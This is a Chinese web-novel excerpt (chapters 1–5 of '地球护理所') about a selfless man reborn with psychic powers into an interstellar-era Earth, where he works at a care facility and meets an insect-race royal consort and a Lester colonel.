《地球护理所》
1. 重生。
金色海面,刘清(半透明)坐在自己漂浮的身体上,跟前是一颗悬浮的光球。
光球告知他:你死了。然后就开始自说自话。
“刘清,男,29岁,宁海渡口码头疫控工作人员,单身。
“三次被评‘见义勇为’,两次获得‘市级好人’和‘防疫先进个人’;统计到您人生中以助人为目的的好事700余件,其中拯救性命10余次,被广为报道的是五年前勇斗持刀恶徒,以及……,三个小时前,您为救一名落水少年,溺亡大海。——您真的很无私,怪不得会被我们系统抽作最优先级的奖励对象。”
这是刘清的生平。刘清也随之记起了一切:他确实是死了。
倒没什么特别的感觉,更没什么遗憾,一切如他所愿。唯一没料到的,死后的世界竟然是这样的。
刘清“哦” 了一声,注意力落在光球上,“系统?”
“对。我先自我介绍一下:我是四级文明宇宙管理系统的子系统,隶属宇宙文明管理系统好人福利局,您可以叫我好人系统。
“根据我们对您的人生事件筛查结果显示,您符合我们局‘护好’行动的条件,因此我们将赠与您一次重生享福体验。且由于您在我们的享福对象中排名靠前,位列最优先级行列,我们将额外给予您一个附加奖励。”
刘清一辈子都没中过奖,没想到死了还能遇到这种好事,“是带着我现在的记忆,从头开始过再过一次这辈子的那种重生,还是完全到一个陌生的世界的那种重生?”
“按照您的世界对享福的世俗定义,我们将为您提供一个生活富裕、家庭美满、身体健康的身份,并确保您这一世无疾而终。
“至于是否保留现在的记忆,或者是否选择与当前世界雷同的平行世界,都可以由您自己做决定。”
刘清“哦”了一声,却问:“那这些享福的条件可以换吗?毕竟世俗认为的享福,跟我认为的享福不太一样。”
这次轮到光球意外了,“您的优先级别确实有这个权力。但是我很疑惑,这些条件是我们根据您的生平和当前世界测算出的最完美的享福人生,您是觉得哪里还有欠缺吗?”
刘清笑着说道:“不是欠缺。只是都已经活过一次了,再来一次,当然要不一样的活法。”
光球沉默了一秒,然后答道:“那您希望的享福条件是什么呢?”
“我想要的是:只要我想,只要我去做,就能轻而易举学会、做到任何我想要达成的事情,并且能收获不错的成果——这种‘天才’人生。”
光球:“您的意思是,您需要从身体素质、智商、感知能力等个体能力方面,拥有超过普通水平的优势,是吗?”
刘清其实还没想到这么细节,但并不反驳,“差不多吧。”
“请稍等。”
光球的球面上流转了黑色的光雾,过了一会才消失,然后光球回答道:“为满足您的要求,您将无法自主选择世界,并且为平衡优势,合理化您的天赋,您将失去家庭、财富等外在条件,同时在身份地位上会不尽人意。”
刘清表示理解,“这很公平。所以你给我选择的世界是什么?”
“星际时代的地球。”
“哇哦~”
“这个时代的人类已经进化并分化为数百亚人种,存在于他们之间的共同点,被称为‘次级共感’——您可以理解为精神力、思想、灵魂等等。次级共感的天赋,在很大程度上决定了一个人的智力、体力、感知能力等的优劣。这个时代的人以次级共感的等级对人类进行划分,越高等级的人越优秀。系统给予您的天赋,就是拥有次级共感的‘绝对优势’。”
“具体表现是什么?”
“具体表现为:您拥有超过彼世界等级评定最高级的次级共感,并可以做到无视种族共感差,无视共感介质触碰规则限制,随意窥探、干预他人的次级共感状态,而不会受到任何反噬。”
“那不尽如人意的地方是?”
“您将会是一个弃婴,多种族杂血,世俗地位较低。您的生理功能正常,但是无法繁育后代。”
“还有吗?”
“没有了。并且为保障您在婴幼儿阶段不会夭亡,我们将为您提供一个离线系统。请问您对这样的享福条件满意吗?”
刘清洒脱地笑了起
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来,“挺好的。”
光球:“那么,我可以问您一个问题吗?”
“嗯,当然。”
“虽然您这一世的家庭生活并不美好,但您的意识显示,您还是渴求得到一个幸福的家庭的。可是您知道吗?以您现在的预设条件,您重生的一生中,未必能找到比我最初预设给您的那个还好的家庭与家人。”
“我知道。”
刘清回答得很快,很干脆。好像他早就窥见了这个结果,并且就是为此直奔而来。
光球看了他几秒,突然笃定说道:“您并不认为自己一定可以找到理想中的家人或者伴侣吧?”
刘清不否认,“遇见一个真心相爱的人很难,但如果一开始就预设好了有这样的人等着你,不觉得这样的人生也很没意思吗?”
“抱歉。我们的目的是希望您能幸福一生,并未考虑到您的个体感受。但恕我冒昧,我认为您目前的心理状态存在一定问题,我建议您对一些不好的意识进行局部清除。”
刘清笑了,“谢谢你的好意,但不必了。”
光球沉默了两秒,“好的。那么请您知悉:当前文明世界的意识进行二次消融后,将无法再凝聚成意识体。所以,请您爱惜自己。如果您准备好了,我现在就可以将您进行传送。”
刘清发自内心地说道:“谢谢。真的,谢谢。”
他从自己的身体上站了起来,低头看了眼:面朝下的身体像一个沉闷的感叹号。黑发在金色的海水里荡开,被海底的光染成了红褐色;后脑的头发里面时不时摇出几缕雪白,割破黑色和金色,像摇出了藏起来的一条条疤。
刘清问光球:“能让我沉下去吗?”
“我们可以将您的身体送回岸边。”
“不用,沉下去就好。”
“如果您坚持的话。好的。”
刘清笑着道了谢。“我准备好了,走吧。”
随后,一阵光亮掠过,大海上消失了两点光影,面朝下漂浮的身体一点点坠入了黝黑的深海。
与此同时。另一个遥远的世界。一个废弃的机械垃圾厂房里,突然传出了嘹亮的婴儿啼哭声。
2. 这概率。
二十四年后。
——
清晨的阳光透过薄纱倒入卧室,刘清在睡梦中指尖震颤,房内的所有物品失重一般悬浮着。他的呼吸急促,很快惊醒。
砰砰砰。
房间里的物品齐刷刷掉了一地。
“咋啦!咋啦?”
房门被人从外头推开,飞进来一台四脚蛇造型的智能管家——离线系统,阿强。
刘清没说话,他一边捂着头,一边踉跄地站起来,“唰”地拉开了窗帘。
就在那一刻,一道耀眼的光芒划过天际,像是流星,却又带着某种生命的脉动。刘清的心跳骤然加快,他感觉得到,那道光里装载着一个灵魂,一个正在与他的意识产生共鸣的声音。
光芒很快消失,一艘巨大的舰艇从天空缓缓降落,艇身外闪烁着急救信号灯。
阿强飞到了窗边,捕捉到了遥远舰艇上的编号,“哎哟我去,联盟救护会,还是非典型跃迁通道过来的——一准出大事了。我看你的休假八成要泡汤。”
刘清皱着脸,突然弯腰捂住嘴巴,一路跑进了卫生间,吐得昏天黑地。
阿强飞到沙发上,冲着卫生间喊,“你有了?”
刘清没空回话。
过了一会,刘清从卫生间里出来,嘴唇都白了。他有气无力地靠在墙上,控诉道:“我怀疑老贾搞了批假酒。”
阿强对此嗤之以鼻,“他一个保护区里的原住民,就是搞出个砒霜酿造,也不能够给你放成这样。说吧,你昨晚又怎么造自己了?”
刘清揉头,皱眉回忆起来。“就是喝多了。然后神游了一下。哦对,不小心漫进了次空间。运气还不错,碰上个刚出生的意识体,跟紫水晶一样,特别漂亮,还会说话。”
阿强:“你还挺骄傲?”
刘清:“……倒也没有。”
阿强乜他一眼,“能跟你的‘魂’对话的意识体,那得是什么级别的东西?你没瞎招惹吧?”
“当然没有。这点分寸我还是有的。”
“你不是都喝多了吗?”
“也没多到那种程度……吧?”
“……”
“算了,回头我找老贾问问。”刘清去换衣服,同时换了个话题,“今天有什么新闻吗?”
阿强:“有,虫族今天发布了通告,虫王放弃了他的绝对伴侣,选了别的虫。这事其实早就出了,只是今天才放出来,而且在上周,虫王就把他的绝对伴侣打包送出了虫星。”
刘清惊讶,“送出了虫星?送哪儿了?”
“说是边远星,离虫星也不远——那肯定也不能真送远了吧。”
“送出虫星都够离谱了。绝对伴侣跟虫王之间是类伴生的关系,一个蜕变,另一个就会跟上,然后两个会疯了一样寻找对方,不惜代价。现在他们离这么远,要是出了什么岔子,不知道要殃及多少池鱼。”
“反正殃及不到这。”阿强用爪子搓着下巴,“我更好奇的是,让虫王恋爱脑到这种程度的虫得长多美。”
“虫族的审美跟人类又不一样。”
“歧视警告啊,人家五十年前就被纳入亚人科了。”
“事实而已——不过虫王的共感等级,注定他不可能是恋爱脑。”
“那他们这是?”
“虫王几代都致力于分散王的绝对种族控制力,或许这次送走绝对伴侣,是一次大胆的尝试。”
阿强表示赞同,“是虫族能干出的疯事。不过我就不明白了,对一个种族里所有个体的绝对控制,这是多少种族的统治者梦寐以求的能力,虫族咋还偏不要呢?”
“绝对的权力就有绝对的代价,并不是所有人都愿意享受这种权力——绝对伴侣不就是因此诞生的吗?早些时候,虫王哪来的什么伴侣?”
“所以我说搞不懂他们。”
阿强的脑袋上头弹出来一个虚拟屏幕,上面显示着一条系统信息,“得,你的休假果然泡汤了。刚才那艘救护舰艇上有几百号病患,现在老夏召集所有人回去。”
刘清倒不意外。“看来只有明天去找老贾了。”
·
刘清有一辆小破大众,外观是定制的,跟他前世的二手小破车一模一样。
平常他总喜欢在地上开,但今天这种紧急情况,他也会拉杆飞到空中公路,节省时间。
车飞到最高的速通路,自上往下,就能一眼把整个生活区收入眼底——它确实也不大,就像地球的一块斑秃,孤零零地躺在无垠无际的原始生态地貌之间。
这“斑秃”之中,又有两块格外规则:一块是保护区;一块是地球护理所。
地球
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护理所是一家共感介质医疗机构,可以理解为私人医院。刘清是所里的一名高级护理员,也是所长老夏的养子。
此时,护理所唯一允许降落的广场已经被救护会的舰艇霸占,刘清只能把车从门口落下来。
一路进去,随处都能看到朝广场奔走的医护人员。
刘清问阿强:“这次是意外事故,还是战场上下来的?”
阿强登陆了所里内网,很快搜集到了信息,“嚯!离了大谱了。”
“怎么?”
“三艘舰艇撞车。一艘客运,两艘私人。都在不同星域。”
“……啊?不同星域怎么撞上的?”
“太空虫兽。”
太空虫兽,一种低自我意识、高共感域的生物,以它们的王的星球为中心,常年游离在其周围星域的太空之中。
阿强:“说是碰上了迁徙的太空虫兽种群千年一次的‘开路’,这三艘舰艇,就这么好巧不巧,全部撞上了新破开的‘岔路’,然后被搅了进去,撞完后又被吐到了不同星域——咱这的都是私人舰艇上的病患,那艘客运上好几千人呢。”
刘清咋舌,“这确实离谱。”
哪知阿强却高深莫测地摇头,“不不不,离谱的不是这个。”
刘清看向它,虚心请教,“那是?”
阿强:“是‘没有死人’。”
这次刘清都愣了两秒,“你是说这次事故里没有遇难者?”
阿强:“离谱吧!”
“这概率……”
“是吧!”
阿强的话锋一转,“但还有更加离谱的。”
刘清:“还有?”
阿强:“你知道这两艘私人舰艇的主人都是谁吗?”
刘清:“谁?”
“一个是莱斯特的,有王族血统,老夏的远方亲戚,真算起来也是你亲戚。”
“她的亲戚千千万,除了她都跟我没关系。另一艘呢?”
“是虫族。”
虫族。刘清难免联想到今天的新闻,于是问道:“普通虫族?”
阿强摇头,“舰艇有王族标识。合理推断,是本该抵达边远星的绝对伴侣。”
“……”
刘清再次感叹,“这概率!”
阿强也跟着感叹,“离谱吧!”
3. 伪王。
车开到广场前就走不了了,刘清随便把车塞到了角落。
广场上挤满了人,即使隔着车窗玻璃,嘈杂的声音也像潮水一样冲刷着刘清宿醉后脆弱的神经。他仿佛都能闻到空气中混合着血液和金属的锈味,刺鼻得让他皱起了眉。
救护会的舰艇刚刚降落,引擎的余温隔开了人群。舱门洞开,一群穿着白色制服的工作人员匆忙地搬运着隔离箱,箱子上贴着红色的标签,写着“紧急护理”和“高危生物”。被推下来的还有一些救护担架,上边躺着血糊糊的人,每一个都被束缚带紧紧捆着,却依旧在疯狂挣扎,扯得救护担架“哐啷”作响。
“我的天,全是介质狂躁的,而且双形态的占大半。”阿强转向刘清问,“你现在的状态能参与护理吗?”
“还行。”
刘清虽然这么说,但是脸色却截然相反。他揉了揉太阳穴——大量病患的负面情绪海潮一样盖满了他的感知:愤怒、痛苦、悲伤、嫉妒、怨怼……密密麻麻,如附骨之疽,钻不破他的共感防护,又无法被完全屏蔽。使得刘清难以集中注意力。
啧。
刘清烦躁地在心里发誓,他得戒酒。
突然,“哐——!”的一声巨响。
一个最大规格的隔离箱从货舱口被卸下。这个箱子比其他箱子更破旧,表面布满了划痕和凹痕,仿佛经历了无数次的撞击。箱子的裂缝中游过一丝微弱的光,像是某种生物的眼睛在黑暗中闪烁。
刘清眯起眼睛去看,一抹蓝刚好摇进了箱子的裂缝,落入刘清的视线焦点:那是一片星光的深蓝,表面光滑而冰冷,仿佛由无数细小的镜面组成,在阳光下折射出深浅不一的色泽,非常澄澈、漂亮。
刘清的心跳加快,挥之不去的烦躁被一种莫名的情绪冲淡了。
他不由自主地下了车,朝那个箱子的方向走去。随着距离的缩短,裂缝中的蓝逐渐露出它具体的形态——那是一只节肢类的复眼,过于硕大的体积让它的每一个小眼都像是一块六角形的镜片。
当意识到这一点的瞬间,刘清感到一阵寒意从脊背升起:那感觉就仿佛是从这只眼睛里长出了无数的手,通过视线钻进了他的身体里,撕扯着他的灵魂,要把它拽出他的身体。
刘清下意识地后退了一步,视线却无法从那条裂隙里转移。
“喂,刘清,你要去哪儿?”阿强飞到刘清的面前,截断了他的视线。刘清回过神,才发现他已经走到了广场中央,站在离那个箱子只有十米不到的地方。他张了张嘴,想要解释什么,却发现自己也说不上个一二三。
“那是虫族的箱子。八成就是那个绝对伴侣。”阿强说话的时机,箱子边上出现了几个非常高大的人,阿强立刻补充道:“看,是虫侍。”
那几个人有近两米高,皮肤青灰,脸上长着拳头大的黑色复眼,太阳穴生出了两只鳃状触角,额头上顶着长短不一的锹状额角,背后自然垂下的黑色鞘翅折射着油光,像一块用料厚实高档的斗篷。
即使在虫族之中,他们的长相也属于相当奇异的那一批。
阿强:“虫侍是虫王的专属侍奉种群,只有虫王和其绝对伴侣才有资格驱使。我原以为这个绝对伴侣是被抛弃的,没想到还有虫侍跟着。那虫王到底是啥意思?”
刘清没说话。
几个工作人员和虫侍用一块厚重的布盖住了箱子的裂缝,挡住了那只漂亮的眼睛。刘清骤然感觉心里空落起来,生出一种不舍和恐惧混合的战栗。所以当工作人员把箱子推走的时候,他不由自主地追了一步。
一步,仅此一步。走在箱子旁边一个额角最大的虫侍突然停下来,转头朝刘清这边看了一眼。这一眼非常短暂,虫侍没有流露出任何的情绪,就转身离开了。
刘清却被这一眼钉在了原地。
“他在看你?”阿强也没有错过这一眼,并且感到非常奇怪,“他看你干嘛?”
刘清目送着箱子离开,心不在焉地答了一句,“我怎么知道?”
阿强看出了他的魂不守舍,“你咋了?”
刘清沉吟两秒,保守道:“好奇。”
他从没有体会过这样强烈的情绪波动。明明理智知道自己不应该多管闲事,尤其是涉及到“虫王的绝对伴侣”这种麻烦生物,可他的血液却已经变成了一团火焰,越烧越旺。催着他想要去掀开那块毯子。
阿强很想给他一下,“你可别好奇了,那箱子里的可是有夫之夫,没见着刚才那虫侍怎么瞪你?”
刘清很无辜,“他那么大体量的共感域摆那,除非我瞎了才注意不到——看那复眼的状态,他绝对已经蜕变了,那他现在的共感等级就是‘伪王’了吧。”
阿强倒抽一口气,意识到了问题的严重性,“这种级别的大佛放在护理所真的没问题吗?”
“那他下来前也没人知道啊。”
“……也是。”
“再说了,这次事故零死亡的奇迹,指不定也有人家的功劳。”
阿强斜眼看他,“我怎么觉得你在帮他说话?你不会真看上了吧?你有这癖好?那可是虫族,第一形态都不是人的虫族!”
刘清无语。“我是在想他已经是伪王了,那他跟虫王之间势必会出现的绝对吸引。要是伪王因此发狂,咱们现在坐飞船跑还来得及吗?”
阿强:“……还真是。择日不如撞日,我觉得咱们现在就溜还来得及。”
刘清深以为然,于是转身就离开了广场。
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p>刘清找了辆滑板代步车,从与虫族相反的方向在护理所的花园里绕。他越绕越偏僻,逐渐周围没了人声,连建筑都爬满了久未打理的藤蔓。
阿强调出了护理所的地图,看到他们现在行进的光点,很快发现了不对头。“刘清,你到北隔离区来干嘛?”
刘清“唔”了一声,“这里五年没用了,里头没有任何病患。隔离区本身就是为深度狂躁,乃至失去理智的病人设置的,面积够大,设施齐全,还有一部分接入了原始生态区的过渡区域,再往外一点就是生活区的隔离墙……”
阿强打断他,“你到底想说什么?”
刘清:“所以就算这里突然爆发了混乱,从距离上也能留给护理所最大的反应时间。如果我是老夏,一定会把虫族安置在这里。”
阿强:“……”
阿强人立而起,抱着刘清的耳朵咆哮,“你找死啊!!!”
刘清在它吼出声的同时就抓起它扔到了一边,“小声点,头疼。”
阿强飞回来,重新趴到刘清的肩膀上,恨不能掐住刘清的喉咙。“你要是再往里走,别说头疼了,可能连头都要没有了。我可提醒你,系统给你的挂抗魔法不抗物理,虫侍随便一胳膊都能捏死你,你去就是找死!”
刘清还是不停,“我当然知道,我有分寸。”
阿强:“你有个屁的分寸——”
“嘘。”刘清一把捏住阿强的嘴巴,跳下代步车,快步走到了走廊的尽头。
这条鲜花走廊落在一个小山坡上,下边就是隔离区,站在这里可以把隔离区的中心区域尽收眼底。往外一步是向下蜿蜒的白色石阶,头顶是茂密的藤蔓。藤蔓从天花板上垂落下来,像一道天然的帘幕,把刘清的身影遮去了大半。
刘清轻轻拨开眼前的藤蔓,远处的喧哗和杂乱的画面一起落入刘清的感官。
只见隔离区外中间的小花园里,一个巨大的箱子翻倒在地,箱子的门已经完全打开,周围撒了一地金色的液体——那应该是虫族伪王的血液。箱子周围摔倒了一些工作人员,不知道是受了伤还是受了惊吓,反正呆呆趴在葳蕤的草丛里,尖叫着不敢动弹。
而就在箱子的不远处,那一片久未打理而野蛮生长的桃花林里,匍匐着一个巨大的身影。虫侍张开翅膀散落在桃花林附近的空中,却没有一个敢下去。
“嘶……”阿强倒抽了一口气,四只脚抓紧了刘清的衣服,声音都快夹成漏风的风箱,“是伪王。绝对出问题了,咱们赶紧走吧!”
刘清不语。他感觉心跳骤然提速,比起恐惧,第一时间占据他大脑皮层的感觉是亢奋。
他偏了下脑袋,目光穿过桃林的缝隙,在纷纷扬扬的粉色花瓣中,看到了三只蓝色的复眼。
4. 铭牌。
桃花繁盛,刘清依稀能看到伪王的大概轮廓:体型足有一辆卡车大小,偏修长,比螳螂精悍,比蜂种灵活;通身的甲壳呈现一种哑光的黑,折射出灰色的银光;鞘翅;三对蓝色复眼……余下的就看不清了。
或许是太过遥远,刘清竟也觉得桃花林下的大虫子有一种诡异的美感。
突然,那三只蓝色的眼睛偏移了一个极小的角度——他看到了他。
果然,下一秒,滞留在刘清的视网膜上的残影已经如同一道黑色的闪电出现在了他的跟前。
“砰!”
伪王庞大沉重的身体直坠而下,像是一颗实心的铁球,砸塌了走廊的门帘和跟前的石阶。刘清抬起手臂挡在自己的头上,阿强也飞快爬到了刘清的脑袋上,把自己盘成了一个头盔。然而砸断的石梁并没有落到刘清身上,甚至连一片草叶都没有挨到他的衣角分毫。
周围很快恢复了平静。
刘清惊魂未定,他缓慢地松开手臂,打量四周。他先是看到了走廊两边那水洗的玻璃一样的透明膜翅,它们代替走廊原本的石柱,如一双手臂包裹着走廊;然后是两只横在膜翅内部,高度与他腰平齐的前胸足,又长又粗,像精心雕琢的工艺品;最后,刘清缓缓仰起了头。
他头顶上的石梁跟藤蔓已经消失,一只节肢类的脑袋填满了他的视野:那可怕的咀嚼式口器占据大半视线,铁钳一样的颚,坚硬有齿;三对复眼规律排列,呈现一种流体的状态,仿佛能捕捉到最细微的光线和动作。
匪夷所思的是,那三对复眼明明没有瞳孔,但是当刘清的目光与其中一只复眼对上,他却从那只眼睛里感觉到了顾盼生辉的流连视线。
“鹅——”
这是阿强掐着机械声卡发出的死动静。
刘清也吸了一口气。有一说一,尽管知道眼前这个庞然大物是一个“人”,但刘清还是难以说服自己这是个“安全的家伙”。
他试图要说点什么话来打破沉默,但刚张口却突然反应过来:“伪王”是外界对虫王绝对伴侣的代称,如果当人家的面这样叫,即使在后面加上“阁下”,也会被视作挑衅。
绝对伴侣的尊称是什么来着?刘清思索着。
就这么一个思索的瞬间空隙,伪王已经先行行动了。他弯起一只前胸足——因为节肢的尺寸过长,他把胫节别扭地贴在地面收回来,以绕开刘清的身体。坚硬的几丁质甲壳在地面划出了数道白色的痕迹——收回的胫节在刘清面前斜着竖起,跗节刚好抵在刘清的心口位置。
“……嘶。”
阿强紧张地抓紧了刘清的头发,好像这样就能把刘清从这个危险的境地给拔走。
但伪王并没有袭击刘清,而是用那弯刀一样的前跗节贴着刘清的制服面料横向滑过,勾住别在刘清外衣口袋上的工作铭牌,轻轻往外一带。跗节撕裂了刘清的制服,轻而易举扯下了那块金属铭牌。
铭牌的大小对比伪王的体型来说实在迷你,就像是一只霸王龙捻着绣花针,以至于他把节肢收回的动作都有些小心翼翼,生怕铭牌半路掉下来。最终,它满意地把铭牌勾到了胸前,珍而重之地藏在了胸腹相连的甲壳缝隙之中,并保险地用一只前胸足按在上面。
“……”
刘清的脑袋里冒出了一个问号,紧接着就是“完球”两个字:显然,这事没完。
这时候,一个虫侍飞了过来,张开翅膀悬停在伪王的旁边。刘清看了他一眼,认出来他是之前在广场上,突然回头看了他一眼的那个虫侍。
虫侍先对伪王行了个礼,然后非常恭敬但没有什么感情地提醒道:“殿下,您可能吓到他了。”
刘清没说话,又看了跟前巨大的虫子一眼。对方那“脸”上实在难以辨别情绪,刘清只知道他肯定又看了他一眼,然后突然就张开翅膀,“呼——哗——”地带起一阵狂风飞走了。
刘清被狂风卷得摇晃了一下,等他躲过风口,抬头看的时候,只来得及看到伪王庞大的身影落入了隔离区的院墙之内,被遮天蔽日的海浪般的树冠遮蔽了行踪。其他的虫侍也跟随飞了进去。山坡往下,只剩一个倾倒的大箱子和一些惊魂未定的工作人员。
刘清收回视线,看向跟前还没有走,也没有收拢翅膀落下来的打算的虫侍。对方也在看他,并率先开口道:“很荣幸见到您。我们还会再见的。”
说罢也不等刘清开口,虫侍就一振翅膀,疾驰而去,转眼也消失在了那大片的茂密树冠之后。
“……”
刘清想:简直莫名其妙。
“啊,吓死我了。”阿强一下瘫软下来——也是不知道它一个系统有什么好瘫软的——四脚摊开地趴在刘清的脑袋上。
刘清伸手把它抓下来,然后从它的爪子里扯出一根断掉的头发,“你下次能别拽我头发吗?”
阿强用翅膀扇飞了这根头发,“现在是说这个的时候吗?你下次行动前,能不能稍微珍惜一下你得之不易的第二条命?”
“得之不易?”
“重点是这个吗?”
“确实不是——你说他拿我铭牌干嘛?”
阿强冷哼一声,“现在知道怕了?”
刘清想了想,“怕也说不上,就是觉得之后事情会变得麻烦。还有就是挺好奇的。他到底干嘛拿我铭牌?”
阿强现在一听到他说“好奇”就头疼,立马结束了这个话题,“别问我,我不知道,也不想知道。但你下次再去找虫族的时候,麻烦别带我,我希望自己的结局是寿终正寝,而不是成为虫族的磨牙豆。”
刘清“唔”了一声,抬脚就朝山坡下走去。
阿强快疯了,“你又干嘛!?”
刘清:“来都来了。”
阿强:“……”
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救护会专门用于狂躁病人的隔离箱,据说是最难打开的铜墙铁壁——即使它已经破了裂缝。而且从伪王刚才的状态来看,显然他并没有丧失理智,甚至连共感域都还算稳定。<
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刘清走到箱子跟前,救护会的人已经颤抖着相互搀扶起来,还有几个先跑了。刘清没有去管他们,径直走进到箱子里面——它真的非常大,像是一个货物的集装箱。箱子内部的伤痕比外边还要多,而且布满飞溅的液体痕迹——都是伪王的血。
阿强看完后评价道:“这也太惨烈了。伪王刚才没狂躁吃了你,真的是个奇迹。”
刘清:“虫族不吃人,歧视警告啊。”
阿强“嗤”了一声,不说话了。
刘清从箱子里出来,又绕着箱子转了一圈,走到尾巴上的时候,他弯腰在地上捡起了个东西放进了口袋。然后就直接离开了。
阿强注意到他的动作,问:“你刚才捡了什么?”
刘清:“你猜。”
阿强:“你幼不幼稚?”
刘清一乐,沿着小花园离开隔离区。他挑了一条鲜有人走的小路,这里比起外头更是荒烟蔓草、蓬蒿满径。但就是这么一个偏僻的地方,竟然在一棵树下停着一辆滑轮的代步车,崭新得与周围的环境格格不入。
刘清并不意外,他的视线逡巡片刻,走到代步车另一边,拨开了腰高的杂草——那里边竟然蜷缩着一个人。
是个女人,背朝上地蜷曲在地上,红色的卷发铺了满背,呼吸声沉重而急促,听上去非常痛苦。
刘清认得她,或者说“非常熟悉”。某种意义来说,她算是他的“闺女”——并不是指年龄上。和他一样是杂血原生人类。
“梁三山,你在这干嘛?”刘清的语气满是无奈。
被叫作梁三山的女人艰难侧头,露出了被红色卷发遮挡的一只眼睛,她气若游丝地说道:“我原以为,我一腔热血,不会宫寒。”
刘清一时语塞,“都疼成这样了,就少耍点嘴皮子吧。”接着他从储物芯片里掏出了止疼剂,果断地给梁三山来了一针。
效果立竿见影,梁三山“吁”地长出了一口气,一坨身体放松下来,逐渐舒展,苍白的脸色逐渐漫上一些红润。她从草丛里站起来,真诚地对刘清作了个揖:“谢谢男菩萨,gay神保佑你。”
刘清懒得接她的茬,只是提醒道:“你好歹也是个高级护理师,就不能多关注下自己的身体状况?”
梁三山没怎么在意,“这不是没来得及吗?说起来,你怎么在这?”
刘清从兜里掏出刚才捡到的东西,塞到梁三山手里,“你说呢?要作死也要有点把握,跑去轰开伪王的隔离箱,亏你想得出来。”
“谢谢。”梁三山龇牙一笑,把手里的罪证揣回了兜里,“虫王跟绝对伴侣的虫形态从没在人前展示过,我这不是好奇嘛。”
“你有几条命够你好奇的?”
“你不也来了?”
“我有分寸。”
“那我也没被抓到啊。”
“……”
刘清向来是说不服气梁三山的,原因如阿强的总结,“上梁不正下梁歪。因果报应。”
5. 莱斯特上校。
梁三山剪刀石头布输了,得上山去骑刘清落在走廊上的代步车。但要把她的那辆代步车从盘根错节的荒草丛里弄出来,也着实费了刘清一点力气。
大概花了几分钟。
几分钟后,刘清从那条小路出来,发现大箱子周围站了一群人。少部分是穿着制服的医护,大部分衣冠齐整,或者身着军装。显然身份都不简单。
这些人里刘清就认得一个:护理所的所长老夏。
老夏是一个双形态莱斯特老太太,富态,珠光宝气,像一只囤积着金银宝山的龙。今天她也一如既往地锦衣玉带、珠围翠绕,跟身边的一群制服说话的时候从容不迫,满眼的和气来财。
阿强也看到了老夏,并立马宣判,“你完了。”
“闭嘴。”刘清小声怼回去。他现在的位置在人群的斜后方,只要他行动安静一点,基本不会有被发现的可能——按理说是这样的。但可能是他跟老夏这十九年的相处终于培养出了“母子”感应,在他出现在路口的第五秒,老夏毫无预兆地突然回了头,跟刘清对上了视线。
刘清:“……”
老夏:“……?”
老夏脸上的和气微笑一秒垮掉,刘清则一秒扬起了乖巧笑容,同时马不停蹄地加快了脚步。
老夏:“……”
她以收养刘清后这十九年的时间发誓,刘清绝对没干好屁。但这是家事。于是老夏只能默默在喉咙里爆了个炮仗,给了刘清一个眼刀后,又不动声色地收回了视线。
可万万没想到,这时候从人群里窜出来了一只莱斯特双形态幼崽——从项圈的终端样式看,大概率是个姑娘。该姑娘刚腿了绒毛,披上软甲,正是最活泼好动、精力无限并且“撒手没”的年纪。
她的速度真的太快了,像一只飞来的鼯鼠,打湿的抹布一样扑到了刘清的小腿上,四肢环抱,连尾巴都物尽其用地缠住了刘清的脚踝。
“妈妈!”她喜悦、清脆地如此称呼刘清。刘清来不及反应,人群已经齐整整朝着刘清回过头来。
“……”刘清现在的心情很难形容,很复杂。
人群里,许多人看过来之后,又把视线转向了人群中一个穿着联盟军的制式便服的男人。有人笑着对男人说道:“莱斯特上校,尊夫人挺清秀的。”
被叫作莱斯特的男人浅笑了一下,没答话。他转头看向旁边的老夏,问:“夏维瑟姑妈,这是您的员工吗?”
老夏叹了口气,冲着刘清叫道:“刘清,过来。”
刘清也跟着叹了口气。他轻轻抖了下腿,腿上的挂件却一点下来的意思都没有。“小朋友,你这样很不礼貌。”
“妈妈!”
“我不是你妈。我是男……”刘清突然记起,莱斯特人的部分男性是可以孕育的,于是改口,“总之,你下来。”
“妈妈!”
“……”
刘清弯腰把挂件扯下来,一手托着走到了老夏的跟前。老夏立马给了他一个白眼,刘清低眉顺眼当没看到,乖得很。
老夏转过头又挂起了亲切的笑容,拉着刘清的胳膊对在场的人介绍道:“诸位,这是我的儿子,刘清,刚成年没两天,还是顽皮的年纪,目前是护理所的一名高级护理员。刘清,这是库恩·莱斯特,你得叫他……小叔。”
刘清小声对老夏说道:“辈分错了吧,他不是你的侄子吗?”
老夏同样小声道:“有需要的时候才是。你按年纪叫就行。”
刘清:“……”
行吧。
刘清看向男人,正要张口,男人却先一步说了话,“你可以直接叫我的名字,莱斯特。”
刘清的表情有一些古怪。这就跟听到一个人自我介绍说“叫我‘黄种人’就行”一样。
“好的,莱斯特先生。很荣幸见到您。”刘清顺手把手里的幼崽递了出去,“这是您的孩子吧?”
莱斯特伸手接过幼崽,单手托在胸前。幼崽迫不及待地跟自己的父亲分享喜悦,“爸爸,他好香,我喜欢他,我要他当我的妈妈!”
刘清:“……”
莱斯特闻言只是笑了一下,用手指顺了下幼崽的下颌,幼崽便安静了下来。他对刘清说道:“她叫露西亚,是个三岁的小女孩。她是我申请人工繁育的,没有母亲,所以对喜欢的人会有些过分热情,还请你谅解。这次事故中她也受到了一些冲击,暂时变不回人形。如果不麻烦你的话,可以请你为她护理吗?”
刘清微笑着拒绝,“抱歉,我的护理名额已经满了,实在分身乏术。”
莱斯特被拒绝后,笑容的温度稍微往下降了一些,说出的话已经不如刚才那样温文有礼了。“分身乏术,却还有时间到护理所最偏远的区域来。难道说虫族的护理也是由你负责的吗?”
刘清立刻就明白跟前这个人表里不一,他英俊优雅的外表只是假象,高高在上的傲慢才是灵魂。“当然不是。我负责的护理区离这里不远,我是听到动静后才过来的——说起来,这里似乎出了问题。”
“你应该比我们清楚这里出了什么问题。”莱斯特的视线下移,落在刘清被扯破的制服上,“毕竟你还亲历了这个问题。”
刘清立马冷下脸,表明自己的态度。“莱斯特先生总是这么习惯污蔑别人吗?”
气氛急转直下。老夏噙着笑,放任不管。意外的是,莱斯特被刘清诘问后,反而又放松了语气,以长辈的语气调侃刘清,“年纪不大,脾气不小。我这只是合理推测。”
刘清向来不委屈自己,并不乐意顺着台阶打圆场。“您的年纪不小,心眼却不大:就因为我拒绝护理您的女儿,您就故意污蔑我——我这也只是合理推测。”
“……”老夏掐了刘清的胳膊一把,让他见好就收,别嘴贱。
刘清抓住老夏的手,把它从自己的胳膊上拿下去。他继续用礼貌的语气说道:“如果我的合理推测冒犯到了您,我在这里给您道个歉,希望您别耿耿于怀,乃至对您姑妈的护理所伺机报复。”
老夏:“……”
